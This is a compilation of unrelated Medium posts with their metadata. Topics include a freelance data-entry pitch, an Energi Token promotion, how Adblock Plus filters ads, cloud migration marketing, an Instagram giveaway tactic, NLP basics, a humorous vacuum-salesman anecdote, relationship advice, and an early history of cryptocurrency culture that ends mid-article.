I am having valuable experience in the fields like any type of microsoft excel or google spreadsheet data entry tasks. Having good cognitive skills and a quick learner, I will provide you a 100% accurate service and solutions to your complex problems.
My Service:
Specialty:
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https://medium.com/@khorshedalam-usl/i-will-do-excel-data-entry-internet-research-copy-paste-data-entry-3a08f8d6d71
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['Sathi Akter']
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2020-12-23 19:03:55.800000+00:00
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['Microsoft', 'Excel', 'Data Entry Services', 'Google Sheets', 'Words']
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Energy: Brown versus Green
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Do you really care where your energy comes from?
It’s a sad reality. Most people just don’t think about where their energy comes from. Brown energy; fossil fuels like coal or oil — dirty, smelly, gooey and messy, versus green energy; renewable energy sources such as solar or wind — ahhh, feel the fresh air. We all know brown energy clearly pollutes and harms the environment and, obviously, green energy is better for all of us, but when it comes down to it, it just doesn’t matter enough for most consumers to change their energy consumption behaviour.
What does matter, for most consumers, is the cost of the energy. If it hits hard in the wallet, it matters. So if a customer can choose the source of their energy, chances are, for the most part, most consumers choose the cheapest source, no matter what it is.
Granted, there are those who are more actively concerned and purposely seek out greener sources of energy — people who are passionately concerned and active in the battle against pollution and climate change — but by and large, this is not the case. For the average Joe, it’s all about cost, at the end of the day.
Subsidies and Penalties
So, governments who actively seek to change power grids over to green energy might dangle an artificial carrot on a stick — providing subsidies for renewable energy sources — making it artificially cheaper — or by just using the stick — penalising brown energy sources, coercing customers to begrudgingly change behaviour with additional fees or taxes, or else!
For now, with the renewable energy sector in its infancy, it still costs more to derive energy from renewables. This is temporary, as the cost of renewable energy is dropping, and quickly. Solar energy, in particular, is getting cheaper as technology is becoming more efficient and cost-effective. But in the meantime, while costs are still higher for green energy, how could consumers be coaxed into choosing green energy without bureaucratic systems of reward and punishment?
What if a token system rewarded green energy choices, providing a monetary reward for choosing renewable sources? What if, instead of a complicated and costly system involving a large bureaucratic workload with artificial rewards and punishments, these rewards could be implemented via blockchain smart contracts and through the free exchange of energy between generators and consumers without a centralised agency?
Energi Token makes it matter
A token exists for this purpose: Energi Token, or ETK. It is an Ethereum-based ERC20 token that, once disseminated to consumers, businesses, and other agencies, could be used as a method of payment and reward for energy generation and consumption. Consumers, choosing to use renewable energy, could be rewarded for their green decision with tokens that can be used to purchase the energy, perhaps from a neighbour who generates a surplus of solar power, maybe from a solar farm in a nearby county, or possibly from a wind farm off the coast. Renewable energy generators could sell their green energy to customers directly for the tokens, which circulate through the economy. This not only motivates the consumption of renewable or green energy; it also encourages its production.
Consumers will care more if the choices they make consuming energy directly impact their pocketbooks. The Energi Token will motivate greener energy consumption — a key in the battle against pollution and climate change. ETK makes the choice between brown and green energy matter.
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https://medium.com/energitokennews/energy-brown-versus-green-b502a45a30d2
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[]
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2018-04-25 08:34:28.499000+00:00
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['Cryptocurrency', 'Blockchain', 'Green Energy', 'Climate Change', 'Energy']
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How Ad Blockers Work
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How Ad Blockers Work
And What They Mean For Web Developers
Not in my house!
The battle over online advertisements is frustrating for everyone. Users are tired of being bombarded by ad-heavy sites, and with autoplay videos and cursor-tracking technology making ads even more invasive, it was only a matter of time before some users said: “Enough.”
Shoutout to The Oatmeal
On the flip side, content creators are facing a grim financial picture. Ads are by far the most effective way to make money off of a successful website that receives lots of traffic and now, just because a few bad eggs go overboard with ads, they’re expected to come up with new ways to monetize? It’s no wonder so many beloved independent sites have had to shut down recently.
In the middle of this battle is the ad blocker. If you don’t use one yourself, chances are one of your friends does. According to a recent Deloitte survey, 31% of Americans used some form of an ad blocker on their computer in 2017, up from 24% in 2016. As ad blockers continue to rise in popularity, it’s worth investigating: What does an ad blocker actually do?
In the interest of simplicity, I’ll be looking at Adblock Plus for the rest of this piece. It’s one of the most popular ad blockers in the world at over 500 million downloads, and it’s the one I personally use.
What Does Adblock Plus Do?
At the most basic level, Adblock Plus filters out elements of a website from being loaded or displayed.
How Does AdBlock Plus Determine What to Block?
Adblock Plus says they’re not looking to block all ads, and in a 2009 survey, only 25% of Adblock Plus users said they were strictly against all advertising. As such, the default feature on the extension still allows ads deemed acceptable to display on sites. If that gives you pause as a user, consider that their list of rules is pretty stringent:
Basically, all the annoying stuff users hate
Some of these restrictions are based on the nature of the element itself and how it behaves on the page, while others, like in the diagrams below, simply state that the ad can only take up a certain percentage of the page and can only do so in a manner that does not distract from the page’s main content.
How Does Adblock Plus Actually Block the Ads?
The two mechanisms Adblock Plus uses to prevent an ad from loading on your page are HTTP request blocking and element hiding. HTTP request blocking does the bulk of the work out of these two. Many ads are stored on another server, and if a site is trying to load an element from a banned domain or with the wrong keywords, Adblock Plus will block the HTTP request and keep the element from being loaded onto the page. This keeps the ads off your page and decreases the amount of time it takes for a web page to load.
In cases where the ad is stored on the site itself, Adblock plus will apply a CSS filter to simply have it not display. These display filters are in a user stylesheet which Adblock Plus loads onto the site using uses the stylesheet service nsIStyleSheetService. Since user stylesheets have the highest possible importance, they will overwrite the existing CSS for the site in question.
Goodbye, ad.
How This All Happens So Quickly
One of the key selling points of ad blockers is faster page loads, so it makes sense that the Adblock Plus creator Wladimir Palant obsessed over which algorithm would streamline the tool’s filter-matching process the most, as detailed in this post. As Palant outlines, the filter-matching process was the most effective when he implemented a modified Boyer-Moore algorithm. This algorithm combines two approaches to pattern match more efficiently: the Bad Character Heuristic and the Good Suffix Heuristic. The Bad Character Heuristic will take the first mismatching character (going from right to left) and look for a matching character further back in the pattern.
Since there’s no way there will be a match if the character does not appear anywhere in the pattern, if no matching character is found, the whole pattern will be moved beyond the mismatching character. This saves time while searching for matches.
Bad Character Heuristic in action.
The other technique used in the algorithm is the Good Suffix Heuristic. If a few characters match between the pattern and the string (again, scanning from right to left), this will look to see if the matching suffix occurs anywhere else in the pattern. If so, it will shift the pattern down to align the other instance of the “good suffix” in the pattern with the text to test for a match.
This becomes even more efficient when you use the Strong Good Suffix Heuristic. This will exclude any occurrences of the “good suffix” in the pattern that are preceded by the same mismatching character to avoid wasting time checking for the same mismatch.
If there’s no other instance of the “good suffix,” the pattern will be moved past the part of the text being examined to save time.
Here’s what all of this looks like in practice in Javascript in the Adblock Plus code.
What’s a Developer to Do?
While the majority of users still don’t use an ad blocker, the adoption rate is climbing and there’s little reason to suspect that will slow down. At this point, it seems that the best move to make sure the ads on your site are reaching the highest percentage of your site’s visitors possible is to understand the most popular criteria being used by Adblock Plus and other popular ad blockers. It may not always be possible to work within these guidelines, but doing so where possible will create a good user experience and allow you to monetize your site and avoid getting blocked.
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https://medium.com/better-programming/how-ad-blockers-work-and-what-they-mean-for-web-developers-f151fd73ec28
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['Connor Finnegan']
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2019-05-15 18:37:51.748000+00:00
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['JavaScript', 'Algorithms', 'Web Development', 'Web Design', 'Programming']
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Assess and Rehost an Application and Database from Virtualization Platform to Alibaba Cloud Through CloudsBrain
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What is a Virtual Environment?
A virtual environment is an independent server module (Operating System + Application) that generally run-on independent servers. But with server virtualization, it is possible to run multiple virtual machines in a single (high capacity) server. In this process, each Virtual Machine considers that it is running on its own server (with dedicated resources).
Virtual to cloud migration is the process of moving data, applications, or other business elements to a cloud computing environment from Virtualization Platform like (VMWare, Hyper-V, XenServer, KVM) to destination Alibaba cloud.
Alibaba Support for Various Virtual Environment:
Alibaba cloud supports various virtualization environments for easy business growth. The virtual environments provided by Alibaba cloud gives total security, storage of applications, database, and virtual machines.
Why Click2Cloud can be of Value?
In current scenarios, enterprises are moving their workloads to the cloud for more agility and flexibility, but at the same time, this needs to be done without risking business disruption, security, compliance, and performance.
60% of companies have already migrated their workload to the cloud. As per the current survey,83% Of Enterprise workloads will be in the Cloud by 2020. Click2Cloud’s CloudsBrain migration module with virtual to cloud migration scenario is one such place that easily migrates your data, application, networks, data center to the cloud. It is one such tool that leads you to cloud business to reach its successful heights.
Fig: CloudsBrain Virtual to Cloud Migration Scenario
How to use Click2Cloud CloudsBrain with Alibaba Cloud?
Regardless of the destination cloud’s size and level of complexity of source infrastructure, Click2Cloud helps you in Virtualization VMs migration. Our standard procedures, automation tools can help you to reduce the cost, improve consistency and efficiency, to ensure you a security-rich and compliant business. With over 100,000 successful and completed migrations, Click2Cloud would help you to migrate your workloads, data centers to the cloud.
Click2Cloud CloudsBrain platform allows you to migrate your workload from any leading Virtualization platform to Alibaba cloud.
Currently, we are supporting the following virtualization platforms.
VMWare
Xen Server
KVM
Hyper-V
Similarly, we also support;
On-premise machines
Local VHDs (and other image formats like. raw, .qcow2, .vhdx)
Fig: Xen Server Migration
The silent feature of Virtual Machine Migration:
It is important to have sufficient network backbone capacity (bandwidth) in order to move the virtual machines from one server to another, quickly.
Even during the process of migration, it is possible to maintain network connection and application state, thereby providing continuous uptime to the users.
Even when the user is not physically present, it is possible to schedule migrations at a specific hour automatically.
Advantages for End User:
We’d like to share some business advantages of Virtual to Cloud Migration for Alibaba cloud, which helps you understand why you should use CloudsBrain.
Migrate workload across Public and Private cloud environments.
Allow multiple VM’s to be migrated at the same time.
Logs of the migration processes are maintained so that it can be accessed later on whenever required.
A tightly integrated solution CMP (Cloud Management Platform)
Improvement in the migration process, No manual errors due to automation.
Can run parallel migrations, to reduce the time and cost.
Can schedule a migration as per requirement.
Contact Click2Cloud:
In this blog, we have seen virtual to cloud migration in a virtual environment where one can move the data from any virtualization platform to the cloud. Virtual to cloud migration helps to make the business agile, flexible, secure, scalable, and many more. With the increase in popularity of cloud computing systems, virtual migrations across data centers and resource pools will be greatly beneficial to data center administrators.
For more details visit us at Click2Cloud.com.
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https://medium.com/@click2cloudtechnology/assess-and-rehost-an-application-and-database-from-virtualization-platform-to-alibaba-cloud-ac312741c018
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[]
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2020-12-09 10:29:27.080000+00:00
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['Alibabacloud', 'Virtualization', 'Migration', 'Database']
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How to Run a Facebook Page Like Campaign on Instagram (Growth Hack)
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What you need?
A contextual idea A growth mindset A small giveaway A handful of nano-influencers
Step 1
Find an idea that is contextual in two ways. Something that strikes a chord with your existing follower base. For example, if you are an FnB brand, make sure your idea is conceptualised with a hashtag that resonates with your brand proposition or the umbrella campaign. You may also choose to use the umbrella campaign hashtag as the contest hashtag. For example, #HarGhoontMeinSwag contest.
The second context can be around the season or the calendar. In that case, you can build your idea around a calendar day, a festival or the season. A tea brand that stands for strong blends can choose to name its contest #TheKadakWinterChai (translates to a ‘strong cup of tea’ in English) if it’s running a giveaway campaign during Nov-Jan in India. It’s also important to keep the contest simple, which brings us to our next step.
Step 2
As I said, it is very important to have a growth mindset when it comes to executing a giveaway campaign (or contest). You do NOT want to miss out on your potential followers by making the participation steps complicated. Keep it simple, easy to follow, relatable and intriguing so that it piques their interest. The qualifying answer should be simple and should be something that can be answered in a word.
If you are asking users to share their Diwali experience with families, it may have a little friction in their mind because of the descriptive nature of the answer. On the other hand, if you ask them to describe their Diwali time in three words, it is intriguing and offers much less friction. Makes sense?
The second part involves crafting the participation steps to create a viral loop. You may want your users to follow you on Instagram, tag at least 3 of their friends alongside their answer, give you Amazon reviews (if that’s your channel of interest) and DM you after they complete all the steps. So that it is easy for you to track the participation.
Step 3
The two steps above ensure that you are through the ideation process of the campaign and all you need is a relevant giveaway. The criteria of selecting the giveaway is simple: It should be something that the user is keen to possess. It should be something that builds a brand recall. For example, you can choose to club an Amazon gift card with one of your limited edition/bestselling/signature products so that it fits both the criteria.
Step 4
The final and a crucial step in the giveaway campaign is finding a bunch of people you want to float the contest through. You can choose to find a bunch of nano-influencers who may agree to do this on a barter basis. Alternatively, you can float it through some influential people in your family/friend groups. If you don’t want to either, just promote it with an initial budget of INR 200–400 and get ready to see the magic.
Sample Campaign:
For the sake of exemplifying the steps above, go through this campaign which we have recently concluded: The Instagram following of the brand has already grown by close to 100% in the last one week itself. We haven’t spent more than INR 500 on this campaign. So, we basically acquired a follower at less than INR 2. :)
If you liked what you read, let’s connect on Linkedin where I post a lot of stuff related to marketing for consumer brands. Alternatively, you can write to me at [email protected] if you want us to take up social media management for you.
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https://medium.com/@shivam-adgeek/how-to-run-a-facebook-page-like-campaign-on-instagram-growth-hack-836ba57f7cbb
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['Shivam K']
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2020-12-02 14:40:30.549000+00:00
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['Social Media Marketing', 'Giveaway Contest', 'Growth Marketing', 'Instagram Marketing', 'Growth Hacking']
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Your Blog Posts Don’t Always Need To Be That Long, Okay?
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Photo by Windows on Unsplash
You fire up your laptop. ‘I better get this down before it leaves me,’ you think. An excruciatingly long 7 second loading screen finally reveals a new draft page, and now it’s time for the magic to happen.
“Boom, baby,” you say, out loud.
Your fingers touch the keyboard, caress it for .3 seconds, then immediately start pounding away at every letter key in existence.
“Damn, this is going to be a great one,” you think.
50 words turns into 100 words, which turns into 150 words, and in a matter of 10 minutes you’re already 200 words in.
‘This might be the best blog post I’ve ever written,’ you think.
Your excitement brings you to the 400-word mark, and like a master painter looking back at his creation, you sit and sip your coffee in pride.
Then disaster strikes.
‘Sh*t,’ you realize. ‘I’m done already.’
Like a train suddenly reaching the end of the tracks, you sit there in disappointment, realizing that’s all you really wanted to say in the first place.
Now there’s nowhere to go.
If this has happened to you, don’t worry. I have a two-word solution:
Publish it.
“But it’s too short!” you scream.
No, publish it. Here’s why.
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https://medium.com/finding-tom/your-blog-posts-dont-always-need-to-be-that-long-okay-3155845c9d5f
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['Tom Kuegler']
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2020-12-16 23:03:24.093000+00:00
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['Creativity', 'Marketing', 'Social Media', 'Art', 'Writing']
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Fundamentals of Text Analytics
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Natural language is the basic form of communication between human beings. With the hugely evolved social media, e-commerce and digitization, there is a lot of scope to make the machines process the natural language and gain insights. These insights help the industries to improve their products, marketing strategies, performance etc.
For example, in the e-commerce websites, it is quite usual to see reviews of a product. People usually write the positives and negative sides of the product. By analyzing these reviews, product companies can take business decisions to improve their backdrop.
For a typical NLP problem, we can give a generalized solution outline as:
Data Cleaning Text Analytics Machine learning model Dashboarding the insights (Optional)
Each of the above steps must be customized as per the problem needs. The scope of this article is to elaborate the text analytics phase.
In the text analytics phase, the data is pre-processed and converted to a format that is understood by any machine learning model. The processing steps can further be categorized as
Lexical Processing Syntactic Processing Symantec Processing
Lexical processing: Lexical Processing focuses on the basic components in the raw text data such as words and sentences. It does not bother about the grammar and meaning of the sentences. Based on the problem’s need, the data must be broken into paragraphs, sentences, or words.
For example, a simple classifier that is designed to classify the emails to be ham or spam can make use of just the words in the email. Emails having words such as “Lottery”, “lucky”, “gift” are more likely to be spam. Lexical processing suffices for these kinds of problem statements where the meaning of text need not be considered.
However, lexical processing itself involves many steps of processing the data such as breaking the raw text into words, converting the words to their root form, removing the unwanted words, spelling correction etc.
Lexical processing is usually insufficient in case of complex applications such as machine translation, automatic chat bots etc. For these kinds of applications, we should consider going with syntactic and semantic processing as well. Because “my cat eats in the morning” and “my cat has been eating since morning” have totally different meanings. Lexical processing cannot understand the difference in these sentences because it deals only with the words.
Syntactic processing: Syntactic processing tries to extract some meaning out of the sentence based on its structure. It focuses on the grammatical syntax of the sentence instead of focusing just on words.
One use case is identifying the subject and object in a sentence. With syntactic processing we can identify who is affecting and who is affected by. This can help in building interactive chat bots and question and answering systems. For example, while posting a question “how can I get the refund?” to an interactive chat bot, the object of the message can be understood, and the machine can look up for the answer in its database.
Semantic processing: There can be cases where the problem statement demands understanding the exact meaning of the sentence where lexical and syntactic processing cannot suffice. In these cases, a more sophisticated processing of the data is essential.
Machine translation can be quoted as an example to understand the requirement of Semantic processing. To translate a sentence into another language, the meaning of the whole sentence must be understood. Translating each word will not yield a meaningful sentence in the other language.
Now, the machine should be capable of identifying synonyms, antonyms, abbreviations etc. It should also consider the words around. The machine should be able to develop an intelligence that ‘cow’ and ‘bull’ come under the same category of animals but just differ in their gender. Manually storing the relations is quite tedious and it would be great if the machine can learn the relationships by itself.
These are the steps involved in the text pre-processing phase of solving a typical NLP problem. The extent of pre-processing the text data depends on the problem’s need. If the problem could be solved by analyzing the words in the data, Lexical processing would suffice. If the structure and meaning must be considered to a little extent, syntactic processing can be done. If ‘understanding the meaning of the sentence’ is the whole problem solver, semantic processing of the data would be required.
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https://medium.com/@sowmyasurampalli/fundamentals-of-text-analytics-8618358a1dc4
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['Sowmya Surampalli']
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2020-12-09 04:26:29.070000+00:00
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['Naturallanguageprocessing', 'Text Analytics', 'AI', 'NLP', 'Lexical Analysis']
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When a Door-to-Door Vacuum Salesman Has an Existential Crisis in Your Living Room
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by Matthew J.X. Malady
People drop things on the Internet and run all the time. So we have to ask. In this edition, writer Ijeoma Oluo tells us more about what happens when you let a stranger with a vacuum into your home.
No matter how much the Kirby dude compliments your hair, don’t let him in. I’m like 5 years older than I was when he knocked on my door. — Ijeoma Oluo (@IjeomaOluo) January 3, 2015
Ijeoma! So what happened here?
Many people believe the dreaded Kirby salesman to be a relic of the past — middle-aged men with bowler hats and worn suitcases, staying at cheap motels and lamenting failing marriages. But today’s door-to-door salesman looks a bit different. I have had experience with Kirby Salesmen before; my cousin had done a short stint after he got out of jail. The salesman who knocked on my door around 5:30 p.m. had the same desperate, slightly meth-y look to him. I knew that I needed to find a way out of this.
“Nope. No, sorry,” I said as I tried to shut the door. But before I could, another salesman, apparently the boss, appeared like magic. Horrible, dark magic.
“Oh wow, you have the best hair I’ve ever seen,” he said. “It’s absolutely amazing.” There must be some sort of training manual that says if you run across a black woman, compliment her hair. Ugh, I’m such a sucker.
I let them in with the promise that there was absolutely no way I would buy a vacuum.
“Great!” the boss said as the other salesman rushed past me with the vacuum. “I’ve got to go to another appointment, and I’ll come get him when you are done.” He jumped in the van and drove off with the urgency of the getaway driver at a bank robbery.
So then I was stuck with this poor kid, as he rambled on and on about this fucking vacuum. It was hilarious because I don’t have any carpet. None. Not a single inch of carpet. I have absolutely no use for a vacuum. I thought this would make the visit go more quickly. But I was wrong. He vacuumed my chairs, my couch, my windowsills — he even offered to vacuum the cat. I should have let him vacuum the cat; it probably would have gotten the whole mess over with sooner, knowing the general disposition of my cat. I opened a bottle of wine and began to drink.
How did you get rid of him?
When he started vacuuming the kids’ beds, I’d had enough (side note: my younger son had peed the bed the night before, and it was a little hilarious to watch this dude act like he didn’t notice). I told him that I had to get the kids to bed. The kids heard that and screamed: “No! Mom it’s winter break! You said we could stay up late!”
“I don’t know what they are talking about,” I said as I tried to telepathically tell the kids to shut the fuck up. “These kids. Anyway, you have to go.”
I thought that would be it, but it wasn’t. He had to call his boss. His boss said he’d be right there. Which meant he would arrive in approximately three years. This poor salesman had run out of things to vacuum. He disassembled and reassembled the vacuum a few times. Showed me every attachment twice, and then when he ran out of things to do he sat down across from me.
“What’s it like to be an adult?” He asked.
I’m sure I looked extraordinarily confused, so he added: “I’m only nineteen. I’m scared of becoming an adult. You are an adult. What is it like?”
It was getting pretty late, and this kid was asking me the meaning of life. By then I’d drunk half a bottle of wine. I resigned myself to the fact that I was never getting out of this. He was never going to leave. He lived here now. I was either going to have to introduce him to the kids as their new father, or I’d have to just grab the kids and run out the back door barefoot. I could get a different house — start over someplace new and never answer my door again.
I was just finishing up giving this salesman/teenager some of the world’s worst life advice when his boss showed up. He took his shoes off like he lived here now as well, sat at my table without asking, wrote up an estimate, and handed it to me. I choked on my wine with laughter. $3,500. For a vacuum. A thing that sucks up dirt. For a woman who doesn’t have carpet. Then when I literally said, “You’ve got to be fucking kidding me,” the price had dropped by half. Ok, now I was just pissed. Even if I owned all the carpet in the world and the price dropped to five dollars, I was not going to buy this vacuum.
After I said no about eighty times and literally just stood at my open door motioning for them to exit, they begrudgingly left at 9:30 p.m. That may not seem very late, but you must remember that they had arrived at the dawn of time.
Lesson learned (if any)?
Do not, under any circumstances, let a Kirby salesman into your home. In fact, if a dude you don’t know knocks on your door and starts to say any word starting with the letter “K,” shout “NO MEANS NO” and slam the door as quickly as possible. I don’t care if your name is Karen or Kyle and maybe it’s just someone delivering a package — it’s not worth the risk.
Just one more thing.
Want a little adult life advice? Ok here goes:
• At no point in your life will you look around and say, “I’m a grownup.” It never happens. You will never feel it. If you do, you are likely the world’s least interesting human.
• Do not ever take a potty-training kid to Disneyland. Wait until they have that shit (literally) down. Your kid will crap his pants on every ride that’s farthest from the restroom in order to punish you for such hubris.
• When you move in with a partner, only one of you is allowed to care about the decorating, so figure out who that person is before you cohabitate. If you both have ideas about where that rug should go or what color that wall should be — just break up now while you still like each other.
• Timeshares are never a good investment.
Photo by Erna Bouillion
Join the Tell Us More Street Team today! Have you spotted a tweet or some other web thing that you think would make for a perfect Tell Us More column?Get in touch through the Tell Us More tip line.
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https://medium.com/the-awl/when-a-door-to-door-vacuum-salesman-has-an-existential-crisis-in-your-living-room-749d64cb717b
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['The Awl']
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2016-05-14 01:08:58.575000+00:00
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['Door To Door Salesmen', 'Tell Us More', 'Door To Door']
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The Conversations Every Couple Needs To Have If They Want To Make It Work
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When we think about relationships, we can oftentimes associate one aspect with the physical and the other with the emotional — both of which are equally as important for the majority of people — but among each, there are conversations that should be seen as non-negotiable.
Fears.
This may seem like a conversation that should be had more often internally than with another person, but it’s important to get specific. Hearing one’s fears and acknowledging their existence can better help you to understand where your partner may be coming from when certain behaviors occur or reactions take place.
It’s important to not only discuss the fears we have for the relationship and what could go wrong, but the things that create unease within ourselves, by ourselves too. Knowing I have a fear of heights allows my partner to better support and comfort me in moments of panic and even further, prepare for those events so there is no delay in response. Knowing not just what scares the person in the physical world, but also within the relationship itself. Whether it be trust issues, body issues, PTSD, or a one-off scenario, the more you know, the more you can choose to accept and best support.
Sex.
Don’t just take part in it, but talk about it. 75% of people having sex haven’t even bothered to discuss what it is they actually like prior to jumping into bed. Emotional connections will play a role, but they aren’t magic. Although sex isn’t what’s most important, it’s one of the strongest forms of intimacy that two people can share with one another and if it’s going to be monogamous, do your due diligence so it’s enjoyable for both.
There are people who find this subject to be particularly uncomfortable, but it doesn’t have to be, nor should it be. Make a game out of it and ask playful questions like the craziest fantasy they’ve ever imagined or their bucket list place to consummate. It’s one of the most natural behaviors of the human species so don’t let pillow talk become a taboo subject between you and your partner.
Goals.
Not just professional goals and not just personal goals either, but what an ideal world looks like that includes your partner, as this is typically the long term goal of a relationship. I almost hesitate to say this conversation should come before most others, but it is just that important.
Realizing this conversation is necessary for a relationship should make most consider where they are at as individuals before taking part in correspondence with another person. If we are unsure of where we are independently, then we will have no starting point in how to tailor a life that nurtures the independent soul, while also a love connection.
If you have never watched someone you love do something they are completely and totally passionate about, then you’re missing out. The same would go with the conversation itself. These are the things that will potentially keep the person you love as someone you can continue to love and love them fiercely. Trust me, a partner who supports your dreams and cheers you on without fail is a major turn on.
Deal Breakers.
This conversation usually only takes place if either one of the people in the relationship asks the other or something is done to bring it up (i.e. the deal-breaker occurred). In both my opinion and my experience, this conversation should be the easiest to have, because if you are treating yourself as you should, then these are entirely not up for debate. With that being said, my suggestion would be to have this conversation as early on as possible because it is also the quickest way to filter through non-ideal candidates. Not to mention, in my experience this conversation only becomes harder and more censored the longer you’re in the relationship because you now have reason to want it to work more-so than you did before.
If you initiate this conversation on the front end, then there is little to no wasted time on either end, you likely have a minimal emotional connection at this point, and you will have no real information to go off of when it comes to editing your response. In other words, if you know the person would never be with someone who doesn’t want kids and you know you don’t want kids, the likelihood of you saying it how it is on the first date compared to the tenth is apparent.
What matters most.
It may seem that this is one that should naturally be brought up throughout one of the other conversations addressed; however, rarely is it. This is because it would require reading between the lines and second, third, and fourth layer questions at times. Many people don’t realize how special it is to know what matters to another person, because they have never seen it as the conversation that had to take place in order to get there.
While silence can communicate some insight, a spoken reply would provide the most important information — the information the person wants you to have. The intimacy behind dialogue that consists of what makes a person agree to stick around for tomorrow, the dreams that happen while they are still awake, and the thoughts that keep them up at night. These are essentially the things that make a person tick.
Most vivid memories.
This may seem like an interesting suggestion, but think about it this way: what determines whether or not we remember the details of an event? The way that it makes us feel, right? So if something has impacted you in a way that shook the foundation of your existence enough for you to be able to recite back the events in great detail, then I would say it’s a story worth sharing and if you’re the recipient — worth listening to.
I have found that these are oftentimes stories of events that took place in a person’s youth, whether it be an experience at home related to their upbringing, or something unrelated to family or the home, but during childhood. If this is the case, who’s to say this wouldn’t lead to another necessary conversation: kids.
Ideal Resolution.
Understanding where a person’s ideal resolution sits is a factor, but it is equally as important to know how they plan on getting there. Is it by voices being raised? Is it through “make-up” intimacy? Is it by way of the silent treatment? Knowing what a person’s ideal form of resolution is important because it introduces light to the end of the tunnel when an argument ensues. If you know your partner needs 15 minutes to cool down after voices are raised and tempers right there with them, then you can anticipate that outcome and know it with the purpose of solace.
Religion and Spirituality.
Who are they turning to when it comes to their inner dialogue? Are they reaching out to a higher power or manifesting the conversation within themselves as more students of the spiritual world? This is not only important on Sunday mornings, but also before a lifetime of commitment ensues and children are expected to be introduced to a certain path. This doesn’t mean there has to be an agreement of beliefs at the end of the conversation, but there should be a plan as to how any situation in which faith is a factor, should be evaluated and navigated through.
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https://madisonepting.medium.com/the-conversations-every-couple-needs-to-have-if-they-want-to-make-it-work-cfeed79ab7c3
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['Madison Epting']
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2020-10-25 18:31:29.172000+00:00
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['Relationships', 'Love', 'Life Lessons', 'Life', 'Dating']
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The Crypto Culture: Then and Now
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BY CRYPTO CALAVERA ON 3/26/18 AT 7:30 AM
Bitcoin Genesis Block / Robi / Bitcoin.com
Let’s explore the progression of culture in the cryptocurrency space. The purpose is to present a record for future generations, that may be used in educational material when studying the nature and history of blockchain technology. It should serve as a piece that would be easy to read and understand and give a glimpse at the early beginnings of this technological revolution. It is important to preface this by saying that I, myself, have actively been in the space only since early 2017. Anything I report on prior to that is purely from material I have found and read online, giving me a second-hand interpretation of the cultural dynamics of the time. In addition, no single article can possibly cover the vast number of events that have transpired in these 10 years, so I try to present only the most notable cultural paradigms and shifts so far. With that in mind, let’s get started.
The Pre-Fork Era
Firstly, we look at the scene before 2017 which we’ll call the “Pre-Fork Era”. This is the time before the BTC/BCH fork in summer of 2017 and the years leading to the massive altcoin spring in March-May 2017.
The Dawn of Bitcoin
In October 2008 the Bitcoin Whitepaper was distributed to a cryptography mailing list. Following that, the first Bitcoin block was mined on January 3rd, 2009 by Satoshi Nakamoto. It is called the genesis block and it contained 50 Bitcoins. In the codebase of the block was embedded the following: “The Times 03/Jan/2009 Chancellor on brink of second bailout for banks.”
This was both an important timestamp for the date of inception of Bitcoin, and a strong message that would forever shape the emerging culture around the technology.
Many people talk about how “if you would buy ‘X’ amount of Bitcoin in 2010” you’d be a multi-millionaire by now. What these people don’t understand is that there was no real market for Bitcoin back then. You wouldn’t just go and buy some Bitcoin like you would today. You’d have to know certain types of people, namely the developers working on the technology.
That was the culture in the first couple of years. A group of developers and economists around the world, disenchanted with the banking system, working on a better solution. They shared ideas from across the globe, worked on the code tirelessly to improve the technology, told people who they thought would understand, and didn’t bother too much with non-believers. Slowly, as trading markets began to emerge, more and more people were drawn in. Some, like the founders and early developers, out of sense of justice and need for betterment of the system. Others, for the opportunity to make an extraordinary amount of money through this massively volatile asset.
Magic the Gathering: Online Exchange
In March 2011, Magic the Gathering: Online Exchange, or Mt.Gox for short, was sold to French developer Mark Karpelès. It’s previous owner, Jed McCaleb had originally built the site in late 2007 as a place where people could trade ‘Magic the Gathering’ cards similarly to stocks. In July 2010, after McCaleb read about Bitcoin in the Slashdot forum, he decided to build the exchange for Bitcoin instead. He then handed it over to Karpelès a year later because he did not have the time and perhaps the motivation to build a Bitcoin exchange to its full potential.
Mt. GOX Exchange Logo / Wikipedia
The years between 2011 and the end of 2013 would then forever change the underlying culture of Bitcoin and cryptocurrency in general. It was two and a half glorious years for Bitcoin. In 2010 the cryptocurrency was going around for cents on the dollar in various online exchanges and between private buyers and sellers. By the end of 2011 it had reached a peak of double digits in US dollars! Much of this appreciation was due to developments in the technology, word of mouth, but also thanks to the Mt.Gox exchange advertising the technology like a tradable currency. This attracted many opportunistic individuals who further shaped the nature of cryptocurrency culture.
You’d have to be of a certain type of character to join Bitcoin this early. Either you were drawn by the technology, were a nerdy individual, possibly with an IT background, and a sense of disgust at the way banks operate; or you were drawn by the volatility, you were of an economic and/or Forex background, and most likely an opportunist.
You liked the promise of big money, had some cash lying around and wanted to try your hand at trading the markets. You most likely weren’t a professional trader, rather a retail one. These two main characters bred a culture of anarchism and, paradoxically, a strong sense of community.
The bitcointalk forum founded by Satoshi Nakamoto was getting livelier, price was volatile and 60–200% swings were not uncommon in either direction, but the general trend was up. A small handful of alternative currencies (altcoins) appeared, promising to do what Bitcoin did, but better, or something different that Bitcoin can’t do. Many think Litecoin was the first one, but it was actually Namecoin interestingly enough — with the purpose of decentralizing domain registrations. Anarchistic personalities started making youtube videos about bringing down the world order, and how Bitcoin would overtake traditional currencies. Massive debates were had by a tiny community of people that either believed, wanted to believe, or were too blind to. A few articles started appearing around saying how it’s fundamentally flawed, how it’s going to die or it’s already dead. 4chan and Reddit threads — a lot now deleted — were springing up alerting more individuals about the opportunity. Mainstream media was barely covering the technology, apart from a few curious/dismissive articles here and there. This was a very volatile and uncertain time, but the overall consensus was that it’s worth a shot.
The Age of the Great Bear
In the final months of 2013 the price of Bitcoin shot up from a hundred dollars to over a thousand dollars, with Mt.Gox leading the charge, handling over 70% of the volume. However, after the all-time high of $1155 recorded on Coinmarketcap at the time, the price would not return to these levels for over three years. And in fact, for the next year and a half it would go on to slowly and painfully lose around 85% of that value.
Many things happened in these dark years for Bitcoin. Most notably, Mt.Gox filed for bankruptcy after almost three months of having withdrawals halted. It turned out that over 700,000 bitcoins had been stolen from their reserves years ago and the company had turned insolvent. This, along with the already declining price, plunged the community into despair. Many gave up, said this was the end. The few articles that were saying Bitcoin would fail were now springing by the dozens. China was banning Bitcoin basically every week. Countless men and women in suits were looking down upon these ‘Bitcoin cultists’ telling them “I told you so” without remorse. With prices reaching as low as $200–300 it all started to seem irreversible. A large part of people who had invested in the boom had left by this point. This was a culture torn asunder. This was a community destroyed and obliterated. Almost all hope was lost. Bitcoin was dead.
